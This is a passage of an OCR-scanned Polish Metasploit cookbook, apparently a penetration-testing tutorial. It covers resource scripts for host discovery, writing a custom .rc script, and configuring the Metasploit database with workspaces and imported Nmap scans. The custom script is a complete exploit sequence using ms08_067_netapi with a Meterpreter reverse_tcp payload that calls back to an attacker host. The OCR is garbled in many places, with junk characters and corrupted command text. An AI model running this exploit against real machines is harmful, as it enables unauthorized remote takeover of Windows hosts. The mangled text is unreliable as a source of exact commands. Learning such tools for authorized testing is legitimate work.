HABRBREG BB AARBEHE B EEG R BRI AH
% Hith it %
ZRr ##
#HH FHH
FHH# it
FRER HAFBRREERE AREE
FHBERFARR IR R RITREREHFS HARE
BRI BRI RN HRRH

2. Niektdre skrypty wymagajg globalnego ustawienia RHOSTS, dlatego ustawiamy RHOSTS za pomoca

nastepujgcego polecenia:

set RHOSTS 172.18.0.0/24

Wynik poprzedniego polecenia pokazano na ponizszym zrzucie ekranu:



3. Teraz uruchamiamy skrypt za pomocg nastepujgcego polecenia:
resource /usr/share/metasploit-framework
/scripts/resource/basic_discovery.rc
4. Ten skrypt wykona podstawowe skanowanie wykrywania hostow w podanej podsieci:
» fusr/share/metasplolit - framework/scripts/resource/basic discovery.
‘share/metasplolt-framework/scripts/resource/basic disc Y-

tasploit - framework/scripts/resource/basic_discovery.r

-n -PN -PB -0 -

Pisanie niestandardowego skryptu zasobow

W ponizszym przepisie przyjrzymy sie, jak napisa¢ podstawowy skrypt.
Jak to zrobic...

Wykonaj podane kroki, aby napisa¢ podstawowy skrypt:

1. Otwieramy dowolny edytor — nano, leafpad itd.

2. Tutaj wpisujemy wszystkie polecenia, ktére chcemy, aby wykonat MSF:
use exploit/windows/smb/ms08_067_netapi

set payload windows/meterpreter/reverse_tcp

set RHOST 192.168.15.15

set LHOST 192.168.15.20

set LPORT 4444

exploit -j

3. Zapisujemy skrypt z rozszerzeniem .rc:




*(Untitled)

File Edit Search Options Help
use exploit/windows/smb/ms@8 067 netapi
set payload windows/meterpreter/reverse tcp
set RHOST 192.168.15.15
et LHOST 182.168.15.20
set LPORT 4444

exploit -j |

4. Teraz uruchamiamy msfconsole i wpisujemy polecenie, aby automatycznie wykorzysta¢ potencjat
maszyny:

Bazy danych w Metasploit

W systemie Kali Linux bedziemy musieli skonfigurowac¢ baze danych przed skorzystaniem z funkcji bazy
danych.

Jak to zrobic...

Ponizsze kroki demonstrujg konfiguracje bazy danych:

1. Najpierw uruchamiamy serwer postgresql za pomocg nastepujacego polecenia:
service postgresql start

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

2. Nastepnie tworzymy baze danych i jg inicjujemy:
msfdb init

3. Po wykonaniu tej czynnosci tadujemy msfconsole. Teraz mozemy tworzy¢ i zarzadzaé obszarami
roboczymi w Metasploit. Obszar roboczy mozna uznac za przestrzen, w ktérej mozemy zapisac



wszystkie dane Metasploit z kategoryzacjg. Aby skonfigurowaé¢ nowy obszar roboczy, uzywamy
nastepujgcego polecenia:

workspace -a workspacename

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

-a demopac

ace: demopackt

4. Aby zobaczy¢ wszystkie polecenia zwigzane z obszarem roboczym, mozemy wykonac to:
workspace -h

5. Teraz, gdy mamy skonfigurowang baze danych i obszar roboczy, mozemy uzy¢ réznych polecen do
interakcji z bazg danych.

6. Aby zaimportowac istniejgce skanowanie Nmap do naszej bazy danych, uzywamy nastepujgcego
polecenia:

db_import path/to/nmapfile.xml

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

roctidrkatl. ™

d to msf3

esktop/msf_

7. Po zakoniczeniu importu mozemy wyswietli¢ hosty za pomocg nastepujacego polecenia:
hosts

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

WMware EGHL

R ADWN

P P

8. Aby wyswietli¢ tylko adres IP i typ systemu operacyjnego, uzywamy nastepujgcego polecenia:

hosts -c address,os_flavor



Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

address,os_flavor

os_ flavor

Enterprise

9. Zatéimy teraz, ze chcemy wykonac skanowanie pomocnicze TCP. Mozemy ustawié wszystkie te
hosty jako RHOSTS dla pomocniczego. Robimy to za pomocg nastepujgcego polecenia:

hosts -c address,os_flavor -R

Ponizszy zrzut ekranu pokazuje wynik poprzedniego polecenia:

msf > hosts -c address,os flavor -R

10. Poniewaz RHOSTS zostaty ustawione, mozna ich uzywa¢ w catym Metasploit dla dowolnego
wymaganego modutu.

11. Przyjrzyjmy sie jeszcze jednemu przyktadowi, w ktérym nasz zaimportowany skan Nmap ma juz
wszystkie potrzebne nam dane. Mozemy uzyé nastepujgcego polecenia, aby wyswietlié liste wszystkich
ustug w bazie danych:

services

12. Aby zobaczyé tylko te ustugi, ktére sg aktywne, mozemy uzy¢ przetacznika -u:



> sSgrvices -\

18  (Unknown)
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